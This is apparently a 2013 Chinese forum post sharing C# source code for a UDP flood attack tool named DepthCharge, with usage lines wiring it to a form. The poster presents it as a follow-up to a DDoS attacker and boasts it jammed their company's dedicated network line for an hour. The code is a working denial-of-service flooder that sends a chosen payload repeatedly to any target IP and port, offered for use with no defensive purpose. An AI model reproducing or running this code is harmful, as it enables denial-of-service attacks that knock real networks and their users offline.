2013年5月30日星期四

C#的UDP洪水攻击器源代码

C#的UDP洪水攻击器源代码 [复制链接]



Rank: 2
  • TA的每日心情

    2012-9-29 12:36
  • 签到天数: 53 天
    [LV.5]常住居民I
    UID
    159612 
    注册时间
    2011-11-20 
    最后登录
    2012-9-29 
    在线时间
    31 小时 
    阅读权限
    20 
    积分
    79 
    精华
    继续发放一个C#的UDP洪水攻击器demo的源代码(跟刚才那个CC/DDOS攻击器一样,使用socket基类编程,不可多得,大家有钱的捧个钱场,没钱的捧个人场 ):
    这个UDP攻击demo灰常猛,我测试了一次,把公司的专线网络堵塞了一个小时!
    1. using System.ComponentModel;
    2. using System.Net.Sockets;

    3. namespace DepthCharge
    4. {
    5.     class UdpTest
    6.     {
    7.         bool run = false;
    8.         BackgroundWorker worker;
    9.         int count;
    10.         string ip;
    11.         int port;
    12.         string content;
    13.         public UdpTest(int count, string ip,int port, string content)
    14.         {
    15.            this.count=count;
    16.            this.ip = ip;
    17.            this.port = port;
    18.            this.content = content;
    19.         }


    20.         public void start()
    21.         {
    22.             worker = new BackgroundWorker();
    23.             worker.DoWork += new DoWorkEventHandler(doWork);
    24.             worker.RunWorkerAsync();
    25.             worker.WorkerSupportsCancellation = true;
    26.         }
    27.         public void stop()
    28.         {
    29.             run = false;
    30.             worker.CancelAsync();
    31.         }
    32.         private void doWork(object sender, DoWorkEventArgs e)
    33.         {
    34.             run = true;
    35.             var RHost = new System.Net.IPEndPoint(System.Net.IPAddress.Parse(ip), port);
    36.             byte[] buf = System.Text.Encoding.ASCII.GetBytes(content);
    37.             for (int i = count; i > 0 && run; --i)
    38.             {
    39.                 Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp) { Blocking = false };
    40.                 socket.SendTo(buf, SocketFlags.None, RHost);
    41.             }
    42.         }

    43.         public bool Running { get{return run;} set{run=value;} }
    44.     }
    45. }
    复制代码
    使用方法:
    udptest = new UdpTest(int.Parse(udpcount.Text), this.udpip.Text, int.Parse(this.udpport.Text), this.udpcontent.Text);
    udptest .start();

    没有评论:

    发表评论